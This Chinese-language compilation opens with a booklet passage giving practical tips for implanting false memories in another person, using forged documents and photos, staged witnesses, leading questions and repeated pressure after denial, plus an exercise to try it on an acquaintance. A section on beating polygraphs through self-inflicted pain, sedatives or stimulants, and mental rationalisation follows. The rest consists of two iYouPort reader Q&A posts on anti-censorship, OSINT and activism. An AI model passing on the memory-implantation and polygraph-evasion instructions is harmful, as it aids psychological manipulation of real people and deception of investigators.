☞ 成年时期相关活动的虚假记忆也可能被有意灌输，当谎言与事实混在一起的时候更是如此。

有时候，针对某个不存在的事件“提醒”某人的能力能够对情报员起到帮助作用，对那些法外之徒而言尤为如此。

「图」

「图」

对成年记忆进行成功暗示可能需要做更多的工作。

💡以下是一些小窍门：

1. 必须在事件发生很久之后进行暗示。

☞为了在记忆中植入一件从未发生的事，最好让它“发生”在三到五

年前。如果是植入真实事件的一些细节，时间范围可以缩短到几个月以内。

2. 关于事件的描述必须做到真实可信。

☞ 必须把谎言和事实混在一起。一定要把一个不存在的事件与某个人生命中其他真实的场景联系起来。

3. 如果故事包含很多细节，那么它将更具说服力。

4. 如果故事中包含画面、声音和气味等不同的感官信息，那么它会更容易被人相信。

5. 最好使用伪造的文件、照片或权威证人的证词来支撑你的故事。

6. 植入虚假记忆需要花一些时间。

“暗示时间” 之间应该有间隔，这样一来植入的信息就能在目标对象的记忆中得到巩固。

☞ 就算某个人一开始就否认一切，但在间隔期间，他会开始怀疑。这将为后续的暗示创造基础。

此外，有必要多次让对方重温记忆：他所听到的重复次数越多，暗示越会在他的记忆中深深扎根。

7. 如果遭到了拒绝，你的策略应该是关注记忆的不可靠性：“请尽量去回想”“你只是忘记了，那不是真实的情况”、“这不可能，因为……”等等。

⚠ 诱导性问题的设计之妙就在于，它们已经包含了正确的答案，这也有一定帮助：“他没有胡子吗？”“那是在晚上。还记得吗，路灯亮着吗？”

记忆操纵可以是完全无害的——“圣诞老人给你带来了一份礼物！”但是，它也可能是非常危险的：政治宣传往往是谎言，试图重写一个国家的历史—— 即 其公民的集体记忆。

练习

在你的一个熟人头脑中植入一段虚假的记忆。

比如，派对上出现的一个有趣的或者尴尬的状况。编造一个详细的故事，并制定暗示策略。

如果有可能，准备“证人”和“重要证据”。

第一次被拒绝后，请不要放弃。让你的目标人物记住这个故事，并向他们提供更多的细节。

也许这个故事会比你一开始想象的更加丰富多彩和生动有趣。

要当心：在实验对象身上植入虚假记忆可能会伤害对方的心灵。一旦熟人开始相信你的故事了，马上承认你之前一直在玩恶作剧。

「图」

「图」

欺骗测谎仪

90％的测谎结果取决于操作者的知识和经验。

首先，测试对象的反应取决于他被问到的问题。这些问题应该事先好好准备，并按照正确的顺序安排。

其次，操作者需要了解谎言在个人情绪反应中是如何表现的。毕竟，由于害怕测试程序本身，测试对象即使在讲真话时也会担心不已。

操作者最终决定测试对象说的到底是真相还是谎言，而这一断言在很多方面都是主观的。

在解释生理指标时，操作员可能会犯以下两个错误：宣布虚假证词是真相，或者指责诚实的测试对象在撒谎。

测谎仪的测试质量很大程度上取决于测试者所提出的问题。

☞ 一般而言，问题分为两类：相关性问题和控制性问题。第一类问题与测试目标直接相关。第二种类型有助于理解测试对象在说谎时身体会发生什么反应。选择控制性问题是为了让测试对象被迫撒谎，以维护自己的声誉。

比如，相关性问题是这样的：“你是否曾向未经授权方透露过机密信息？”控制性问题则是这样的：“你是否曾挪用过他人财物？”

一般来说，我们挪用他人财物的次数至少也有一次。但是，由于不想被人看作是小偷，测试对象可能会说谎。如此就会引发情绪反应，而这些反应在分析同一对象对相关性问题的反应时是必需的。

☞ 由于情绪非常个人化，因此操作员解释的并非反应本身，而是不同反应之间的差异。

如果测试对象对于相关性问题的反应强于其对于控制性问题的反应，那么他很可能是害怕被判有罪。如果像大多数人一样是相反的结果，就说明他关心的是维护自己的声誉。

📢 测谎仪可能会被人骗，优秀的情报人员知道如何欺骗仪器。有很多方法可以通过机器测试，行家们会将它们进行组合使用。

1、机械法是最简单的。你需要的就是引发疼痛，比如咬舌头或者脸颊，用力弯曲脚趾，或者将脚趾插入鞋子中的针上。

疼痛和肌肉紧张会扰乱生理参数，让操作者难以判断。

但是，有经验的检测员能在测试过程中注意到机械阻力，而这会对测试对象非常不利。

2、药物法。服用镇静剂或兴奋剂，干扰检测者用来区分真相与谎言的数据。

运用这种方法时要小心：使用精神活性物质可能会因为瞳孔缩小或放大，或者脉搏或肤色发生改变而露出马脚。

此外，这种方法还存在药物过量的风险。

3、行为法：毫无分寸的亲密动作，与检测者闲聊，重复提问，表现得很愚蠢。过度兴奋会扰乱生理指标。

如果判断是否说谎的依据是对相关性问题和控制性问题的不同反应，那么你可以对所有问题或者检测员说的其他事情都做出更加强烈的反应，这样一来问题就迎刃而解了。

过于熟悉或放松的行为也会让检测员的工作更加困难。

4、心理法是一组基于心理自我调节的技巧。

这些技巧包括从瑜伽和其他东方习俗中借鉴过来的放松技巧，以及心

算或对所有问题都增强反应等这些复杂的分散注意力的方法。

这组方法非常有效，但需要认真准备。

合理化这一方法也很好用。在了解测试目的之后，测试对象可以提前做好准备。为了不在相关性问题上表现出焦虑或兴奋之情，可以在脑海中为自己想掩饰的行为找一个合理的解释。

比如，你泄漏了一个秘密，可以被重新**在内心**解释为这一信息本不应该被保密，泄漏它是出于公众利益目的。

设计恰当的合理化理由非常有效，因为它让人对自己的行为充满信心，并解决了谎言所造成的内部冲突。

☞正因此，测谎仪无法识别虚假的记忆：测试对象相信自己说的绝对是真话。

欺瞒测谎仪的这些方法没有一种是完全可靠的，因为没有一种绝对准确的方法来解释人体生理指标。

但只有知识和训练才能帮助你通过测谎仪测试。

☞ 练习学会管理你的生理指标。你需要脉冲或直流电皮肤电阻传感器。把它们放在手指或耳垂上，然后与监视器相连，然后就能实时追踪自己的生理参数了。

许多计算机程序可以帮助你学会有意识地管理自己的生理状态。

这个技能不仅仅适用于应对测谎仪。

训练——反义词

观察下列表格。在这个练习中，你需要大声说出与方格中词语意思相反的词，但要忽略表格中已有的内容。

例如，如果你看到“ light”（明亮的）这个词，你应该说“ dark”（黑暗的）这个词。

☞ 不断重复这个练习以增强自己的洞察力和心理敏捷度。

「图」

「图」

最后

终于完成了！相信您现在已经取得了很大的进步。

您花了很多时间进行训练，这些练习都非常有用，您应该坚持。您会发现自己的记忆力在不断提高。同时，您处理信息和与他人沟通的能力都会显著增强。

不要停留在这个阶段，继续前进，你可以获得更多进步。限制自己使用电子设备的时间，把省下来的时间用于锻炼自己的记忆力和分析能力 —— 始终保持高水平的心智。

庆祝您的成绩！开一瓶香槟吧 ~ ○ 广告

原文

“受众面不是重点问题”：iYouPort 答读者问：关于我们为什么而存在？（上）- iYouPort

这里是IYP的口袋知识-小册子和电子书

> 非常感谢大家一直以来的关注。我们收到了很多热心读者的来信，也从中获得了很多灵感。本文是对大家普遍关切的一些问题的回复，我们喜欢这种交流，希望您也是

「图」

还记得当中国刚刚建造 GFW 的时候，人们普遍关切的问题是如何翻墙？于是技术人士开始推广各种能突破审查封锁的工具，并传播它们；随着越来越多的翻墙技术的普及，人们关切的问题变成了“墙外”有什么不同？于是内容提供者开始着眼于“我们要在 Twitter(etc.) 上提供墙内必定会被审查的内容”。比如墙内禁止批评政策，Twitter 中文就几乎完全变成了调侃八卦。没人考虑它究竟有什么意义？

这一过程看起来很合理。但它暴露了一个问题，即 我们的思路是否一直在被当局的管制进度所绑架 — — 封锁、和反封锁；审查、和反审查 — — 在这场猫鼠游戏中人民一直是老鼠，以至于全部注意力被集中在“当局又有什么新动作了吗”这个狭小的范围内。

不，这不是反抗。这不是互联网的正确用法。

互联网是一个巨大的并迅速增长的数据金矿，社交媒体应该是各种动员、连接、知识共享、并汇集大众智慧的绝佳场域，它们合起来就是我们最有力的武器。当我们有效利用它们时，我们就变成了猫，逃跑的角色应该是当权者。

iYouPort 曾经在多篇文章中反映过上述思路，比如《互联网究竟是什么》、《为什么说当心不要被恶意愚蠢拉低智商？》、《中国人什么都知道》等等。

而现在，我们是在实践它：关于互联网应该如何使用的实践。我们能力有限，对中国社会的了解肯定没有广大中文读者更多，但技术是无国界的，我们有想法，这些技术曾经帮助了其他威权国家的反抗者，那么理论上它们就能帮助中国的反抗者。当所有人都处在互联网上时、当技术老大哥被全球专制政权共享时，国界的概念已经变得非常模糊。

没有任何一个政权能被口水击败。当权者什么都不怕，除了真相。

以下是我们收到的一些读者提问，以及我们的回复。

— — 为什么我们不需要更广泛的受众群？ — —

Q1:如今几乎所有媒体平台包括账户都在努力宣传自己，甚至购买机器人炒作，相比下你们的受众量很低，为什么不宣传？你们以什么为骄傲？或者说以什么为验证标准以衡量你们的知识推广的价值？

A: 一直以来我们是在有意缩窄而不是放大受众面，这与绝大多数平台相反。原因有几个：

首先，我们的定位是技术工具，专注于安全性、技术性和知识性，包括防御和攻势，而且这两部份往往高度相关。于是整体上很明显，我们的读者应该是民间的技术爱好者，加之长期以来，通过我们对反审查、言论自由、新闻自由、互联网民主化等理念的推广和解析，相信我们已经吸引到了一些富有正义感的读者。于是整体上我们是在为用知识技术追求正义这一思路的支持者提供协助。这一群体本身就不会很大，在任何一个国家都是如此，所以专注于传播推广的意义并不高。需要这些知识的朋友完全可以通过搜索关键字以找到我们。

其次，我们无法确认目标受众的分布，但有一个比较有意义的参数那就是人们对常用平台的选择，它意味着日常信息量、思考习惯、兴趣倾向等这些特征。对于中文读者来说相对自由度高一些的平台比如 Twitter，Medium 等，与微信等严格审查中文的平台，是有明显区别的。于是我们将传播限制在前者，将更有希望提高读者受益的可能性。（当然，这不是个严谨的标准，尤其是在 **Twitter** 中文内容一直在加速无意义化的背景下，但我们现在还没有别的办法。下图这篇文章写得不够好，但这句按语是真实的）

「图」

第三，我们没有流量指标，因为没有投资人也没有老板，于是无需追

求过高的阅读量。虽然这样会艰苦一些，但这种运作形式能让我们更加自由地专注于我们的信念，即 提升民间的反抗实力。我们看到了人们对民主自由的向往，同时也看到了技术能力、知识和方法的欠缺以至于难以实现这一期待。希望 iyouport 能成为一个有效的工具箱，为有志者带来切实的帮助。

于是，我们的骄傲将来自于中国的读者能从中获益，使用这些工具在正义的目标上，不论是自我保护、主动出击、挖掘真相赢得公民权、还是应对现场侦查和追踪。而不是表面优势的点击量和转发量。并且鉴于我们的主题，也不可能支持更高的转发评论，就如大家所知，如果一个账户显示出对反侦察技术的高度偏好，对于监视者来说（如果存在的话）那将意味着什么？所以，我们相信“隐性读者”的力量，价值将更有可能在这一范围内发挥。

至于价值验证，短时间内无法做到。**iyouport** 是一个匿名的无中心的小型网络，汇聚大众智慧和能力，集思广益，只要有创意并实用于我们的目标，我们将来者不拒。不论您擅长翻译、技术操作、情报分析、还是具备各方面的实战经验，都可以在此得到发挥。

我们认为如果能完成这一步就是极大的价值。因为它并不容易做到，尤其是对于中国的现状来说，即 粉丝经济；人们对结论的过度追求，而不是获取结论的方法；对信息刺激性的过度追求，而不是真相，以及挖掘真相的方法，等等。

这一网络将由创造者、技术共享者、志愿者和读者组成，随着其不断扩大，不断接近我们的目标。

— — 我们对“影响”的认识可能与众不同 — —

Q 2、你们相信影响是价值吗？你们曾经带来过什么样的影响？可以举几个例子吗，谢谢。

A：是的，影响的确有强大的力量。当目之所及的人群都在拥护谷歌时，你很难想象得到，其中的确有不少中国读者对监视资本主义的认识是透彻的。在我们发表了一系列分析之后，很明显越来越多的反馈显示出这一影响的存在。

也许与大众的理解不同，这里的影响指的并非是致力于对认知的改变，更多是对发言的勇气的调动 — — 突破恶意愚蠢的禁锢。由于社交媒体上人们倾向于与社交范围内的主流保持一致，以获得群体内的认同感，于是很多时候只是没有机会说话，而非误解。

当我们呈现一种基于事实而非迎合任何一种普遍认知的表达方式的时候，影响就出现了。其实更准确的说法应该是带动。最近有一部很棒的纪录片推出，名叫‘Free Speech, Parler Sans Peur’（后半句法语的意思是‘毫无恐惧地说话’）。自由表达曾经的意思仅仅限于对集中化审查的反对，而如今它变成了一种复杂且棘手的问题 — — 群体认同被夸大了，它带来了强大的自我审查，舆论变成了“你支持还是反对”的两边倒，即便有想法的人也难以有机会就事论事。

我们认为这种状况不利于思考，从而不利于解决问题。

「图」

再比如，在中国，一些知识分子的表态需要贴合他们的个人形象，这些形象是长期以来固化下的，从观点到立场到论述的方式，在自营销时代这是一种品牌效应。和商业品牌的经营一样，它需要某种稳定性 — 一开始就朝着完美的状态宣传，尤其是著名知识分子，更容易陷入这种经营的逻辑。

这种微妙的品牌维护往往让他们被框定在一个状态下，无法进步 — 难以受到新事物或创造性思路的影响，但影响确实是存在的。我们的编辑曾经和几位中国著名的知识分子有过激烈的辩论，并且没有输赢的结论，直到很久之后，发现对方开始（似乎是下意识的）使用我们强调过的概念、学科优势、甚至是立场来表达的时候，我们知道曾经那些辩论是有价值的。

— — 可信度也许不需要名气的衬托 — —

Q3: 我对你们的匿名发稿很感兴趣。一般来说所有媒体都会追求撰稿人的知名度，列出一大堆身份头衔，以证明文章中的观点的可信度。这也是很无奈的事。网络上假消息纷杂，而且绝大多数人不喜欢也没时间思考。你们不署名是如何做到保持可信度的？

A：这是个很有趣的问题，对我们来说。因为我们当初这样安排时没有考虑过这一问题。

由于 iyouport 的原则是让所有投稿人畅所欲言，于是从投递方式到编辑到发稿，均保持匿名，当稿件被当局瞄准时，我们将可以维护参与者的安全。

之所以没有考虑可信度的问题，是因为我们提供的内容大多属于技术型的反抗手段，只要读者感兴趣就会去“试试看”，只要试过，就能知

道它们是非常有效的。当我们看到有读者留言表示“学到了很多东西”，那是最令人兴奋的时刻。我们相信信誉是靠积累的，如果想要获得短期的信誉，只要列举出名人作者、大牌渠道、甚至仅仅是重复大众熟知的东西，都能获得被信任的优越感，但我们不觉得这是价值。

您说的很对，绝大多数媒体都看重作者的身份。最近我们还得到了一个有趣的消息，中国国社内部下达了新的采编标准：要求来稿一律选择名人，尤其是带有显要官衔的名人。目的是让作者所在单位的领导先行审稿，刊物编辑再审，所涉及领域官方（尤其是涉外部门）再审。一直以来的审查只有后两者，新标准相当于凭空添加了另一层审查。当然，也由此推卸掉了一部分刊物的责任。至于为什么刊物想要推卸责任，您可以在这两篇文章中找到答案《六个片段勾画中国“媒体人”的侧面》、以及《北京的政治宣传模式发生改变》。

这是“看重作者身份”的另一个有趣的理由。普遍程度上，作者的身份也可能是很有用的，比如这篇文章，关于为什么在美国做决策的根本不是白宫，而是五角大楼。这篇文章中所表述的问题是我们至少从两年前大选以来就声明过多次的，在美国完全不是新闻，只要您经历过几次美国大选，就能记得 Twitter 上如何被“deep state”刷屏的状况。但是，如果翻译这篇文章以中文发布，并且没有携带作者身份的注明，很多中文读者不一定就能相信这个道理。尤其是那些对华盛顿抱以“高度期待”的中文读者。

好在这篇文章注明了作者身份：自由未来基金会的创始人和总裁，显然，颇具可信性。这种情况下作者身份的标注意味着对不了解内情、并且没有简单的渠道可以去了解内情的广大读者来说，它提供了一个有效的参考。

而我们基本没有这种类型的稿件，如果有，属于编译稿件，我们会注明来源，以便供读者查证。

iyouport 的思路很像匿名者组织，大家各自共享自己的优势，合力完成某些任务。合作者提供的技能是真实的，于是就完全不需要署名。匿名协作模式只有在互联网上才能实现，它也是互联网的价值发挥之所在。

「图」

— — 中国逻辑 — —

Q4：你们发表过一个“终于想通了一个困扰几年的问题”（上图），说实话我没有太理解这段话的意思。能解释一下吗？

A：是这样，曾经我们有一个误会，它来自极其简陋的调查，即 中国异议人士和维权群体大多来自底层，受教育程度和其对应的能力不如高等阶层，加之中国的信息封锁长期限制人们的思考，于是我们认为只要补充必要的知识技术就能极大程度上协助这些有需求的人，不论是对安全技术还是对反抗技术的需求。

但后来的事实证明，我们错了。大多数平日积极的异议人士对技术型反抗的兴趣不大，反而是其他读者，给我们带来了更宽广的视野。

这是很多西方朋友不能理解的逻辑。一般情况下大家会认为，长期处于危险之中的群体 — 比如调查记者、被打压的社会活动家、人权律师、异议领袖等等 — 由于人身安危的压力，他们至少会更加关注自我保护的隐私技术。然而在中国完全不是如此。我们的推送曾经遭到上述群体的多次正面的排斥和长期的无视，我们不知道为什么，为了维护交流气氛的和谐，现在我们已经中断了在多个群体内的推送计划。

如今想起来，这应该是个很简单的道理。就像做菜，对菜谱感兴趣的人都是有一定烹调基础的人，如果完全不会做菜，一本菜谱再精致恐怕也难以产生吸引力。

我们并不是在强调技术型反抗强过其他形式，而是希望说明，还远远没有到绝望的地步，没有到顺从还是入狱的二选一境地（这是如今很多中文虚无主义论调的核心观点），反抗完全可以不那么枯燥机械，可以充满乐趣和富有启发性。

当然，我们一直希望能吸引到中国积极的异议人士、调查记者和人权律师，尤其是与当局有过对抗经验的人们，他们的经验将能为我们的内容带来极大的丰富。期待相会！

— — 为什么有那么多的阴谋论？ — —

Q5：你们认为为什么网上有那么多的阴谋论，人们为什么不想要真相？

A：大体上看，阴谋论的生产和消费至少有以下几种可能性：

- 无知
- 封闭（隧道效应）

- 羊群效应

我们先排除有意制造的阴谋论，比如隐性的政府宣传、有组织有计划的网络水军等等。我们专注于接收者，即被阴谋论误导的人们，并且他们往往会成为进一步阴谋论的来源。

首先关于无知。没有人能是全知全能的，每个人都有一定程度的无知。但无知也会分为两种，一种是主动的、一种是被动的。

不在技术领域内的人更倾向于对基于技术的监控和侵犯感到恐惧，把当局想象成无比的强大，而不是试图去找到能化解恐惧的办法。这样阴谋论就很容易产生了。关于 Tor 的安全性就是一个非常明显的例子，附带着还有关于暗网的阴谋论（最近中文网络上再次开始流传 Tor 的阴谋论，我们不知道这个话题在被谁牵引）。Tor 项目资金来自美国军方这是众所周知的事实，但它现在已经独立出来，并且它的技术逻辑是不存在可被利用性的，详见我们早前的系列文章。如果不理解技术，就很容易被当局宣传的阴谋论吓住，当权者拼命想要获知一切，他们不希望民间使用能隐秘身份和访问路径的任何技术，这也是为什么他们一直在强烈打击加密。

再比如最近的例子：Snowden 指出 Telegram 为什么不安全，我们在此前也基于技术本身的问题分析并得出了同样的结论（详见链接）。然而对 Snowden 的转发却收到了奇怪的评论。一位中文用户表示："一个美国的叛国嫌犯和一个俄罗斯的流亡商人里面，我相信后者"。

我们对 Snowden 的态度非常明确，他是透明度革命的英雄，但我们不会阻止其他人持有不同意见。然而，问题在于，这件事完全无关 **Snowden**，而是可以通过对技术和相关资讯的最简单的了解而避免这种误会。阴谋论完全不应该存在。它显然是无法进行科学分析的情况下所采取的基于完全无关条件的推论。

即便您不懂技术，至少一条资讯就能了解为什么中国用户应该放弃 telegram：这里是我们一个月前的编译报道，俄罗斯购买中国的监视技术，其中包括检测和解码消息应用 Telegram、Skype 和 Viber 等的存档。说明中国一直拥有这样的技术。"索性"上述那位用户不是我们的读者，如果是，这个问题将变得更加棘手，意味着我们的资讯没能起到真正的作用。

另外，Telegram 的隐私政策发生变动是上个月的热门消息，即便您不信任 Snowden 也能通过其他很多来源获知这种变动有多么的危

险。新政策的第8.3条明确规定：电报可向安全机关披露用户的IP地址和电话号码。只要当局怀疑某人是“恐怖分子”，telegram 就需要配合交出用户信息。如你所知，当权者经常将他们不喜欢的一切异议人士和活动家称为“恐怖分子”……

我们在早前的文章中写过，很快，人类将被分为两部分：懂电脑的人、和害怕电脑的人。如果不能成为前者，将遇到很多阻碍，甚至人身危险。事实早已显示，当权者更倾向于利用技术来对付老百姓，然而老百姓如果普遍不懂技术、不重视技术，只能意味着，连自我保护都无法做到，必输无疑。唯一的关键是，究竟想不想保护自己？想不想摆脱天罗地网？因为摆脱是可行的，只有摆脱的意愿才能促成我们在这里的对话，才有变革的可能。

另一方面，随着全球政府不透明的程度都在提升，公民的无知程度也正在被加大，公民无法得知政府干了什么，也就无法作出有效的决定，民主因此被破坏。这就是透明度革命的起源，也是它被严重打压的原因。

2⃣集中化的社交网络就意味着封闭，但对于中国社会来说，封闭是尤其明显的。既存在来自当局的封锁、审查和 GFW，也有来自中国公民的自我封闭。详见我们早前的文章《隧道生态和心理操控》以及《恶意愚蠢》、《极权社会的心理阴影》。

并且，随着突破审查封锁的技术一直在发展，上述后者 即 自我封闭的影响已经高过前者。很多人显然还没有学会如何使用互联网，使用习惯仍在局域网下，加之自我营销的欲求显然高于知识交换、被认同的欲求高于批判性思考，于是自我封闭的社交媒体气泡效应在中国尤其突出。这种状况意味着人们非常容易被欺骗和诱导，也是假消息在 Twitter 中文圈爆炸性增长的原因（关于为什么，详见这篇文章）

越来越多的用户开始抱怨“中国民主派”集中的 Twitter 中文圈混乱的生态，我们不想多说，但这些现象的存在意味着阻碍变革的因素正在膨胀。技术技能的缺乏和其引发的对安危的恐慌、对真相的漠视以及挖掘真相的方法和能力的欠缺，都导致人们更倾向于刺激的、无厘头的信息，有意制造的阴谋论就在其中。

当下全球很多国家都遭遇了社会对真相的无视，兰德专门做了一个长达三百多页的研究报告分析这一问题，详见我们中文摘要分析《真相衰变》，以及这个问题应该怎么办。

3⃣羊群效应是最为普遍的，没有民主经验的社会尤其如此。人们很容

易因被诱导而作出错误的选择。一直以来这就是威权国家难以变革为民主国家的最大障碍之一。令社会欠缺批判性思考教育显然是独裁者的一大杀器。

可以肯定的是，阴谋论和假消息不能也无法通过审查来解决，审查只能促进人们对假消息的兴趣。今年以来迅速高升的审查问题一直是西方网络的热门舆论，而且其中出现了为数不少的支持审查的观点，非常令人困惑，这意味着批判性思考必需被不断加强、重申，而不是离开课堂就能丢弃的。我们的详细分析在这里。

另附：为什么中国社会使用互联网的方法是错的，正确的使用方法是什么，详见《为什么如今的中国社会组织不起来》■

— — 未完待续 — —

感谢帮助 ***iYouPort***！

PayPal 捐助渠道已开通 "//https://paypal.me/iyouport//"

原文

“情报不是简单的信息”：iYouPort 答读者问：关于我们为什么而存在？（下） - iYouPort

这里是IYP的口袋知识-小册子和电子书

继续前文，回答读者提问 —— 我们做的不是新闻或观点。

「图」

是集中化的不透明的算法和水军巨魔把戏、以及喜欢凑热闹的马太效应易感人群，制造了一个又一个所谓的“热点话题”。这就是为什么我们几乎不参与“热点”，除非它是直接关系到老百姓切身利益的 — 如谷歌的审查版搜索引擎。但这样的案例极少出现，绝大多数“热点”尤其是中国的“热点”本身毫无意义。而如今最大的困境是，人们已经不知道该如何区分重点和热点 — — 前者应该事关你自己的利益和安危，后者只适合吃瓜……

—— 情报不是简单的信息和观点 ——

Q6：从我个人角度上看，互联网就意味着信息嘈杂，意味着人们越来越不知道自己真的想要什么，我觉得社交媒体将信息称为 *feed(*饲料*)* 是非常准确的，如今的人们就像驴子一样，守在围栏里等着喂养，吃了半辈子干草的驴完全想象不到鲜草的滋味，也就不会对鲜草感兴趣。你们意识到这样的问题吗？你们是如何解决这个问题的？

A：这是个很形象的比喻。就如我们在“定制人”那篇文章中的解释，社交媒体上的人们正在被集中化的算法“饲养”，算法在决定“你最可能喜欢”的东西，而不是你有必要获取的东西，甚至不是你自己决定应该获取的东西。如果以社交媒体为唯一认知来源，最终真的会变成不知鲜草滋味的状况 - 没有改变，没有提升。

但幸运的是，人际带动可以是非常强大的，如果我们能提供较为丰富的知识，理论上就有可能吸引到不同的人群，由不同的群体可以带来边际传播。如果我们也是“气泡”之一的话，这个气泡将有望变得越来越大。（上面链接中有详细解释）

这就是为什么我们被一些读者认为内容“覆盖面太广”、表面上看起来没有什么针对性。事实上针对性是很强的，就是上述：所有内容都是工具，包括情报分析、及其方法和技术 - 提供情报而不是信息，其内容就将具备工具价值。

至于情报和信息的区别，今后会有专门的文章解释。简单说就是，情报支持的是行动，信息仅支持理解。目前绝大多数评论文章和新闻都不具备情报价值，它们是信息和观点，前者具有公共营销价值，倾向于“时效”及对大众的吸引力，后者具有个人营销价值，缺乏充分的调查、广阔的视野，和前瞻性。

比如，美国的外交事务网站 Foreign Affairs 就具备情报的功能，它具有明确的服务目标，即美国政府的外交利益，从信息的收集、到分析、到策略设计，都是朝着这个目标前进的，所以它很具情报价值。与中国的时评不同，后者表达的更多是个人意见，它往往具有狭窄的视野，倾向于“为什么”，而不是“怎么办”。

我们认为中国内容市场的这种普遍风格是低效的，不论任何时代，如果内容不具备重读的价值，几乎可以等同于不具备价值。而当下，数字经济赋予了这些过眼之云以金钱利益的价值，人们逐渐忘记了真正的价值是什么。我们希望能在此作出某种提示。

总之，我们的内容不是简单的信息和观点，于是大多数文章将被具有行动意向的读者反复研磨，他们正是我们真正的读者。

— — 中国当局的“落后”反而能成为中国反对者的优势 — —

Q7: 问题在于很多人喜欢了解“怎么了”，而不是“怎么办”，于是中国时评看起来比你们的选题更热门。

A：是这样，但也不完全是。我们已经逐渐发现越来越多的人希望知道应该怎么办，即解决问题的可行性措施，人们开始希望去实践。虽然目前更多集中在安全性 — 自我保护 — 层面，但它无疑是积极的。

我们感觉这其中也存在影响的作用。与其他科技或时政媒体不同在于，我们的视野是整个互联网，对于隐私权、言论自由权、新闻自由 — 即公民知情权等民主基本议题，在互联网时代 — 鉴于基础设施和技术的无国界共享 — 全球范围内没有根本性的区别，就如监视计划正在被复制、监视技术正在被进出口，人权灾难也在随之扩散。如果能在某个国家的某个议题的解决上实现突破，也将有希望在很多国家实现突破。

当权者正在结盟，公民社会很有必要联合起来共同就问题本身思考解决方案，而不是一直以来的惯性思维："我的国家还没有出现这种状况，这种状况与我无关"。不，已经没有人能摆脱技术，全球人类正在共享这些便利，也要共同承担这一灾难。

特殊性的想法在中国尤其危险，至少很容易让人们错失重要的防范机会。由于中国没有正义且专业的公民社会组织，加之虚无主义盛行，很少有人会开动脑筋想办法来解决问题，并且，中国当局非常擅长模仿全球各个国家"发明"的压制性举措及诡辩的方式 —— 将异议说成"危害国家安全"、将大规模监控说成"智能城市科技进步"、将少数族裔说成"恐怖分子"等等，这些都不是中国的"发明"，完全是效仿而来。我们曾经以监视手段为例介绍过这一对民间来说"绝好的优势"：中国当局的模仿比原创平均要晚十到二十年，这段时间就是中国反抗者的机会。因为如果你遇到的是"原创"其抵制方法很可能不会马上出现，而等中国人遇到这些恶行时，抵制方案早已成熟。

重要在于，我们应该就事论事，而不是就国家论事，这便能极大程度上将大众的注意力集中在解决问题层面，并不断创造和尝试新的解决方案，以共享给出现了同类问题的国家。实现公民社会的联盟。

首先就要关注"怎么了"，我们需要了解发生了什么才能具体想办法，但是如果只专注于发生了什么，停留在惊诧、批评和调侃层面，其结果最多只能是吸睛度营销，问题得不到解决，注定会层出不穷，并迅速恶化。

「图」

—— "退一步"？ ——

Q 8: 你们对独立调查的推荐看起来挺有趣，我没有见到另一个用中文做这种推荐的，包括相关技术。你们觉得为什么没有人这样做？这样做的最大障碍是什么？你们准备如何解决？

A：也许 #OSINT 中文内容只有我们在做。中国没有人这样做的原因大概有多方面，包括：

- 社会弥漫的虚无主义（如上述）
- 技术实力派的协作能力：中国的技术实力派与政治异议的交叉非常小，主张用技术作为武器的反抗者更是罕见。于是，也许相关技术会被推荐出来，但绝少有人知道这些技术可以怎么用在正义的目标上；

- 对真相或者说公民权的认知和追求的兴趣，也包括对认知失调的掌握能力的缺乏：这不是中国特有的，全球很多社会都出现了漠视真相的问题，原因有多方面，在这篇文章中可以读到详细的解析《真相衰变》
- 还有，权威依赖，独立渠道的可信性依旧很具挑战：这在没有民主经验的国家里尤其突出，比如中国。更加之，中国社会对政府能力倾向于夸大化理解，符合其社会的虚无主义主调和焦虑的对话氛围。导致有流量压力的平台不敢选择这类题目，不论其现实价值有多高

虚无主义大家都熟悉，当我们最初论述“透明度革命”的时候就收到了很多类似的回复，人们告诉我们“这种方法在中国行不通”等等。但是中国曾经还没有尝试过，很难理解为什么没有尝试就认为行不通。后来我们发现，认为这种方法“行不通”的人，普遍认为一切方法都“行不通”，于是这显然就是虚无主义思路。

日前有消息显示，中国封锁了易卜生名作《人民公敌》。该剧讲述了一位勇敢的公民在不容异议的社会里依然为追求真相和公义不懈斗争的故事。

追求真相和公义 — 不懈的斗争。这是一种对权力来说致命的公民精神。很明显封锁有可能源于当局担心人民对这种精神的效仿。如果人民只停留在感慨和谴责封锁本身，而没有效仿，封锁的目的就真的达到了。中国人民已经成全了这种目的太多年。

透明度革命将很可能成为中国人的希望。

但是透明度革命的确是有难度的（是的，世上就没有容易的解决方案），主要在于它需要几个硬件：

- 拥有正义之心足够放弃个人优越生活勇于冒险的举报人；
- 高超的技术实力，以免被追踪迫害；
- 社会的公民意识，对真相的追求、对问责权的行驶，社会情绪能一触即发，以推动变革；
- 拥有勇气和高度专业性的可信的独立媒体，协助发挥社会响应。

可以说这些硬件当下中国都没有，但是，理论上并不难产生。

而阻碍其产生的因素包括：

- 物质主义的慵懒，以及妥协的文化 —— 中国社会追求的闷声发大财，以及“多一事不如少一事”，等等；
- 能确保安全的技术和智慧基本上被掌握在少部分精英手里，而他们往往与体制利益息息相关，体制也很专注于对他们的控制（比如黑客）；
- 公民责任感的长期缺失，人们倾向于看热闹，调侃围观，这种状况下即便有人冒着生命危险揭露真相，也很可能难以获得一触即发的社会响应。

这大概是主要障碍。

解决这些障碍并不容易。我们不可能凭借一个平台扭转社会文化整体，但我们可以提供一些真实的演示，以证明还有“另一种思路”、还有人没有放弃。

开源调查在当下可以说是透明度革命遭受严重冲击、恐惧感弥漫、缺乏举报人的勇气、难以获得即时社会响应状况下的*退一步方案*。这一方案也是对大数据分析技术及社交媒体庞大数据集的“反向”利用 —— 因为一直以来都是当权者在利用这些数据来审查和控制社会，但由于所有人都在互联网上包括当权者及其家属、并且资料的数字化程度越来越高，于是民间完全可以反过来利用这些资源以捍卫民主。

日前有消息显示，俄罗斯发起了一项禁令：禁止士兵在社交媒体上发布*可能泄密的帖子*。俄罗斯正在进行的军事行动或否认的军事行动经常会被它的士兵在社交媒体上暴露或佐证。俄罗斯士兵在社交媒体上发布的照片已经曝光了该国在乌克兰和叙利亚的军事行动。

现在，俄罗斯想要彻底遏制这种“泄密”继续发生。国家杜马正在讨论一项法案，将禁止现役军人在社交媒体上发表可能会暴露个人或其他士兵军事活动或军事单位或部署情况的照片、视频、地理位置数据等互联网信息。

如上所述，那就是为什么俄罗斯会有这样的禁令出现。也是为什么中国军方早前已经下达指令，限制士兵使用直播平台等软件，以及官方媒体和重点部门的公务员都被要求上交社交媒体账号（甚至密码），这些动作几年前就开始了。

